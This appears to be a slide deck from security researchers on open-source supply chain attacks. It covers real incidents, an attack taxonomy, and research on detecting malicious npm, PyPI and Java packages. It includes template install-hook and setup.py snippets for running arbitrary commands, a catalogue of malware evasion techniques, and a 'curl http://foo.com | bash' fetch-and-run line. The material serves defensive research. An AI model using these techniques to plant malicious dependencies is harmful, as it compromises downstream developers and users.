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“Free and Open Source Software (FOSS) 

constitutes 70-90% of any given piece of 

modern software solutions.” [1]

70-90%

[1] Frank Nagle, James Dana, Jennifer Hoffman, Steven Randazzo, and Yanuo Zhou. 2022. Census II of Free and Open Source Software—Application 

Libraries. Linux Foundation, Harvard Laboratory for Innovation Science (LISH) and Open Source Security Foundation (OpenSSF) 80 (2022)

https://www.explainxkcd.com/wiki/index.php/2347:_Dependency
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What if?

https://www.explainxkcd.com/wiki/index.php/2347:_Dependency
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“[…] at the time of writing in 
September 2023,  we have logged 
245,032 malicious packages —
meaning in the last year, we’ve seen 
the number of malicious packages 
tripled.” [1]

[1] Sonatype, 9th Annual State of the Software Supply Chain, 

https://www.sonatype.com/hubfs/9th-Annual-SSSC-Report.pdf
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Get executed

Downstream users 
eventually execute the 
malware

Get used

Downstream users 
engage with malware

Spread out

Malware accessible to 
downstream users

Requirements of an OSS Supply Chain attack
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1.5+ million downloads/week, 1600 dependent packages

A malicious user (right9control) asked the original maintainer to give him 

ownership and succeeded:

Added flatmap-stream as malicious dependency

Malicious code only in published NPM package

Malware and decryption only ran in the context of a release build of the 
bitcoin wallet copay

Malware was discovered only by accident

Use of deprecated command resulting in a warning

Nov 2018 
Attack on NPM package event-stream

event-stream

flatmap-stream

C

D

E

References:
▪ https:/ /www.theregister.co.uk/2018/11/26/npm_repo_bitcoin_stealer/

▪ https:/ /medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502

https://www.theregister.co.uk/2018/11/26/npm_repo_bitcoin_stealer/
https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502
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Pytorch-nightly pulls its dependencies from its own 

package index:

• torchtriton package was only present in the internal 

package index and not in PyPI

• External indexes take precedence over internal 

ones

• Attackers deployed a malicious version of 

torchtriton in PyPI

December 2022

PyTorch-nightly compromise

References:
[1] https://pytorch.org/blog/compromised-nightly-dependency/

Public Repository

(PyPI)

Build System

PyTorch’s Private 

Repository

PyTorch-nightly

torchtriton

torchtriton

1st Priority

2nd Priority
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Version 10.1.1 and 10.1.2 of popular npm module 
node-ipc contained the code deleting file system 

content of IPs geo-located in Belarus or Russia

Malicious code added in Git [3], but history got re-

written

No external attackers, but politicized and disgruntled 

open-source maintainers

March 2022

node-ipc and peacenotwar (CVE-2022-23812)

References:
[1] https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/
[2] https://snyk.io/blog/open-source-npm-packages-colors-faker/
[3] https://github.com/RIAEvangelist/node-ipc/commits/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
[4] https://www.businessinsider.com/open-source-developers-burnout-low-pay-internet-2022-3
[5] https://github.com/RIAEvangelist/node-ipc/pull/572

https://snyk.io/blog/peacenotwar-malicious-npm-node-ipc-package-vulnerability/
https://snyk.io/blog/open-source-npm-packages-colors-faker/
https://github.com/RIAEvangelist/node-ipc/commits/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js
https://github.com/RIAEvangelist/node-ipc/pull/572
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Software Supply Chain attack aims at injecting malicious code into software 

components to compromise downstream users

OSS Supply Chain attack abuse the widespread use of open source as a means 

for spreading malware

Terminology

A

B

C

D

E

Library

Direct dependencies

Indirect dependencies F

Indirect dependencies
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Lack of comprehensive, technology-
independent and general description of 
attacks on OSS supply chains
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First steps

Taxonomy a.k.a. “How to compromise an Open-Source 
component”

Understanding open source supply chain vulnerabilities

(✓)   Spread out

(✓)   Get used 

(✗)    Get Executed
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Project contributors

Build System Distribution 

Channelclone

publish

download

dependencies
Version 

Control

Project maintainersProject contributors

Consumers
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Classification and description of all known attack vectors

Based on SLR, real-world attacks, vulnerability disclosures, proof-

of-concepts, etc.

Mapped to corresponding high-level safeguards

Goal:

• Central point of reference, terminology

• Raise awareness

SoK: Taxonomy of Open-Source

Software Supply Chain Attacks

Reference:

Ladisa, P., e t al.: SoK: Taxonomy of Attacks on Open-Source Software Supply Chains, IEEE Symposium on Security and Privacy (forthcoming 2023)
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Attack Trees

Break into a house

Enter through the window

Enter through the door

Steal the keys Lockpicking
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Safeguards Utility & Cost Assessment
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Taxonomy of Attacks on Open-Source Software Supply Chains

+30 high-level safeguards to 

prevent attack vectors 

Attacker’s perspective

117 unique attack vectors +370 scientific and grey 

literature references

Based on Systematic 
Literature Review

Mapping of Safeguards Assessed by experts & 
practitioners

Surveyed 17 experts and +130 

developers
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Risk Explorer for Software Supply Chains
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Risk Explorer for Software Supply 
Chains:
Demo

Available online and open-source: https://sap.github.io/risk-explorer-for-software-supply-chains/

Reference:

Ladisa, P., e t al., Risk Explorer for Software Supply Chains: Understanding the Attack Surface of Open-Source based Software Development, ACM Workshop on Software Supply Chain 

Offensive Research and Ecosystem Defenses (SCORED '22)

https://sap.github.io/risk-explorer-for-software-supply-chains/
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What attackers wants to achieve with
OSS Supply Chain attacks
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Execution of Malicious Code

References:
▪ Ohm, M., et al.: Backstabber’s Knife Collection (2020)

https://arxiv.org/abs/2005.09535


22INTERNAL© 2021 SAP SE or an SAP aff iliate company. All rights reserved.  ǀ

Public

Primary Objective

Data Exfiltration
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Last step

How to ensure that your malicious code gets executed

(✓)   Spread out

(✓)   Get used 

(✓)   Get Executed
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Anatomy of a 3rd-party dependency

A

B

C

D

E

Library

foo-1.0.0

Direct dependencies Indirect dependencies

F
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Installing and using 3rd-party dependencies

CLIENT PACKAGE

REPOSITORY

PACKAGE

MANAGER
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Installing and using 3rd-party dependencies (contd.)

Fetch Package Extract Archive Build Run
source dist

pre-built dist

INSTALL PHASE
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Techniques 3rd-party dependencies employ to attain ACE:

• When they are installed (install-time)

• When they are run in the context of downstream projects (runtime)

Ecosystems covered:

• JavaScript (npm) 

• Python (pip)

• PHP (composer)

• Ruby (gem)

• Rust (cargo)

• Go (go)

• Java (mvn)

Achieve Arbitrary Code Execution in downstream
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(I1) Run commands/scripts leveraging install-hooks

Ecosystem affected:

• JavaScript (npm)

• PHP (composer)

Get Code Executed – Install Time 

{

" name ": " example ", 

" version ": "1.0.0" ,

... continues ...

" scripts ": {

"pre-install": "** COMMANDS **"

}

}

Example implementation for JavaScript using installation hooks in 
package.json
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(I2) Run code in build script

Ecosystem affected:

• Python (pip)

• Rust (cargo)

Get Code Executed – Install Time (contd.) 

from setuptools import setup

# Any Python code will be executed , for example :

import os; os.system("..COMMANDS..")

setup ( name =' foo ', version = '1.0 ' , ...)

Example implementation for Python sdist packages through code in 
setup.py
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(I3) Run code in build extension(s)

Ecosystem affected:

• Ruby (gem)

Get Code Executed – Install Time (contd.) 

require " mkmf "

# Any arbitrary Ruby code will be executed , e.g .:

exec("**COMMANDS**")

# Needed to finish the extension without errors

create_makefile ("")

(b) Content of extconf.rb file

Gem :: Specification . new do |s|

s. name = " example "

s. version = "1.0.0"

... continues ...

s.extensions = ["extconf.rb"]

end

(a) Content of the .gemspec file for the project
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(R1) Insert code in methods/scripts executed when importing a module

Ecosystem affected:

• JavaScript (npm)  - e.g., “main” attribute in the package.json

• Python (pip)  - e.g., __init__.py script of module

• Ruby (gem) - e.g., .rb file imported via require, require_relative, or load

• Go (go) - e.g., define an init() method in your module

Get Code Executed – Runtime
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(R2) Insert code in commonly-used method

• Commonly used methods within a 3rd party dependency to increase chances of executing malicious 
code

• Example: com.github.codingandcoding:servlet-api-3.2.0 contains malicious code in the doGet() 
method of HttpServlet class [1]

Ecosystem affected:

• All

Get Code Executed – Runtime

[1] Sonatype Security Research Team. Sonatype Stops Software Supply Chain Attack Aimed at the Java 
Developer Community — blog.sonatype.com.
https://blog.sonatype.com/malware-removed-from-maven-central.
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(R3) Insert code in constructor methods (of popular classes)

• Constructor methods are automatically executed upon object instantiation

• In Java you can also exploit instance and static initializers 

• Example: Put malicious code in Dataframe() of typosquatted package targeting pandas

Ecosystem affected:

• All

Get Code Executed – Runtime (contd.)
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(R4) Run code of 3rd-party dependency as build plugin

• Run 3rd-party dependency as a plugin within the build of a downstream project.

• Example: com.github.codingandcoding:maven-compiler-plugin-3.9.0 [1]

Ecosystem affected:

• Java (mvn)

Get Code Executed – Runtime (contd.)

[1] Sonatype Security Research Team. Sonatype Stops Software Supply Chain Attack Aimed 
at the Java Developer Community — blog.sonatype.com.
https://blog.sonatype.com/malware-removed-from-maven-central.
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Evasion Techniques

[1] https://github.com/cybertier/Backstabbers-Knife-Collection
https://memes.com/m/me-hiding-from-my-own-prob lems-5rWMQbjkn4V

• Observed in real world (e.g., 

Backstabber’s Knife 

Collection [1], grey literature)

• Or theoretically viable 

(according to scientific 

literature)

Based on techniques

Comprehensive list
But possibly not exhaustive
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Malicious code often incorporates hard-coded strings (e.g., URLs, shell commands)

Data obfuscation alters the way static data is stored within source code

• Encoding, Compression, Encryption – e.g., base64 to evade pattern matching

• Binary Arrays – store strings in binary form into binary arrays

• Reordering of Data – split data into multiple chunks and re-aggregate it at runtime

Evasion Techniques – Data Obfuscation
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Modify source code such that it does not necessitate runtime modifications for execution

• Renaming Identifiers – rename identifiers (e.g., variable names, function names) to arbitrary or 
nonsensical values

• Dead/Useless Code Insertion – insert gibberish code to decrease the readability of code

• Split Code into Multiple Files 

• Hide Code into Dependency Tree – insert the malicious code in transitive dependencies of your 
deployed module

Evasion Techniques – Static Code Transformation
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• Split Code into Multiple Dependencies – hard to detect

• Visual Deception – hide the malicious content from the view  in IDEs by, e.g., using excessive spaces, 
tabs

• Polyglot Malwares and In-Line Assembly – include malicious code written in other languages than the 
one used in the target application

Evasion Techniques – Static Code Transformation (contd.)
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Transform source code at runtime to evade static analysis.

• Encoding, Compression, Encryption – encode, compress or encrypt the malicious source code and 
decode, decompress, or decrypt it at runtime

• Steganography – conceal malicious code within innocuous-looking files (e.g., images)

• Dynamic Code Modification  – manipulate the behaviour of commonly used methods (e.g., built-in 
functions) through, e.g., monkey patching or function/API hooking

Evasion Techniques – Dynamic Code Transformation
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• Can be helpful also to security analyst or to design novel detection mechanisms

• More recommendations in our paper [1] 

Presented offensive 
techniques

• Equivalent to: curl http://foo.com | bash

• Carefully choose dependencies

• Check their security practices and their content before usage

Blindly installing 3rd

party dependency 
can be dangerous

Conclusion and Takeaways

[1] Piergiorgio Ladisa, Merve Sahin, Serena Elisa Ponta, Marco Rosa, Matias Martinez, and Olivier Barais. (forthcoming 2023). The Hitchhiker’s Guide to Malicious Third-Party Dependencies. In 
Proceedings of the 2023 ACM Workshop on Software Supply Chain Offensive Research and Ecosystem Defenses (SCORED’23).
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Malicious Code: How it looks like in Python?

maratlib-0.2 - setup.py 

malicious code makes use of strings with certain “features”

Obfuscation 

(both in code 

and in strings)

Exploiting the execution at installation time
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Malicious Code: …and for JavaScript?

browserift-16.2.2 – package.json build.sh index.js

Exploiting the execution at installation time

malicious code makes use of strings with certain “features”
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Detection of
OSS Supply Chain attacks
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What do you think 
Anti-Virus would 
detect?
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Submitted all the packages contained in Backstabber’s 

Knife Collection

• 813 in Ruby

• 261 in Python

• 1807 in JavaScript

• 4 in Java. 

VirusTotal Scan

References:
[1] https:/ /github.com/cybertier/Backstabbers-Knife-Collect ion

https://github.com/cybertier/Backstabbers-Knife-Collection
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Cross-Language Detection of Malicious Packages : Goals

Once noted these similarities, our goals are:

One Model

Identify a set of language-independent 

features discriminating malicious vs. benign

• Simple features: lexical, package 

size/characteristics

• Easy to transfer from one language to 

the other

Features

Train a unique classifier to detect malicious 

packages for NPM and PyPI

• Training on more data coming from 

different programming languages
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Our Approach

Dataset

• Malicious samples: we use Backstabber’s Knife 

Collection [1] (at time of writing: 2071 in JS, 273 

in Python)

• We remove duplicates (102 in JS, 92 in Python)

• Benign samples: popular ones according to 

libraries.io

• 90-10 ratio due to address imbalance problem

[1] https://github.com/cybertier/Backstabbers-Knife-Collection

https://github.com/cybertier/Backstabbers-Knife-Collection
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Language-Independent Features
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Real-World Experiment

Scan of PyPI and NPM for 10 days:

Results:
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Insights

Majority of malwares aim at data exfiltration

• One sophisticated case of dropper using DNS req. to 

bypass firewall

Rickrolling attacks…but both NPM and PyPI don’t 

classify them as malwares 

We found malware campaigns

• Also one case of cross-language campaign

Most of findings do not obfuscate the code

• 4 out of 38 in NPM (2 using AES, 2 custom)

• 6 out of 24 in PyPI (3 using simple obf., 3 custom)
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…and the ”False Positives”?

Majority are small and dummy packages (e.g., 

containing only setup.py/package.json)

We found one campaign to increase the popularity 

of a project

• Tons of packages importing give-me-a-joke

In 4 packages we detect obfuscation…but not clear 

sign of maliciousness

We found 1 package containing nothing but the CV 

of its creator ☺

fp-0.0.8
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Towards the Detection of
Malicious Java Packages

Reference:

Ladisa, P., e t al., Towards the Detection of Malicious Java Packages, ACM Workshop on Software Supply Chain Offensive Research and Ecosystem Defenses (SCORED '22)
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77 .java files in the JAR to potentially look at

The attacker inserted just one-liner payload … good luck finding it 

Motivating Example: com.github.codingandcoding:servlet-api
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Read and analyzed malicious samples from Backstabber’s Knife Dataset [1]

Re-created 21 Java Malwares PoC  inspired from other programming languages/ecosystems 

(JS,Python)

Look at the bytecode level 

Goal: Develop a methodology to detect supply chain attacks in Java 

▪ Reverse Shell

▪ Dropper

▪ Data-Exfiltration

Towards the Detection of Malicious Java Packages

References:
[1] https:/ /github.com/cybertier/Backstabbers-Knife-Collect ion

https://github.com/cybertier/Backstabbers-Knife-Collection
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Indicators of Malicious Behavior

List of PURLs

Download

Package Repository

JAR Bytecode Instructions

Constant Pool

Sensitive APIs

Empty Catch Clauses

Data-Flow Analysis

Entropy Analysis

Language-Based Filtering

Sensitive Strings

Class files

String Extraction
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Evaluation

Infection of Top-10 Java projects with payloads from BKC

Analysis of the capabilities of each indicator/combination when detecting the injections



59INTERNAL© 2021 SAP SE or an SAP aff iliate company. All rights reserved.  ǀ

Public

Results

Constant Pool

• Shannon entropy compared at the class level performs better than at the JAR 

• Language detection performs better than relative entropy measurement (with English characters)

• Detection of suspicious keywords effective

Bytecode Instruction

• Looking only at sensitive APIs is not effective

• Looking for sensitive APIs and suspicious strings in try blocks associated with empty catch clauses is 

effective 

• Searching for suspicious strings among input values to sensitive APIs via Data-Flow Analysis (DFA) is 

effective
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Enhancements & Planning 

Detection of Malicious Code patterns using Code Property 
Graphs (CPG)

• Control Flow Graph: APIs that dominates/dominated by 
other APIs

• Inter-procedural DFA

• Suspicious strings flowing into Execution APIs

Scan massively Java packages

• Dependencies of Top10 Java projects

• Scan of newly-uploaded packages on Maven Central

Goal:

• Ecosystem characterization 

• Malicious code detection
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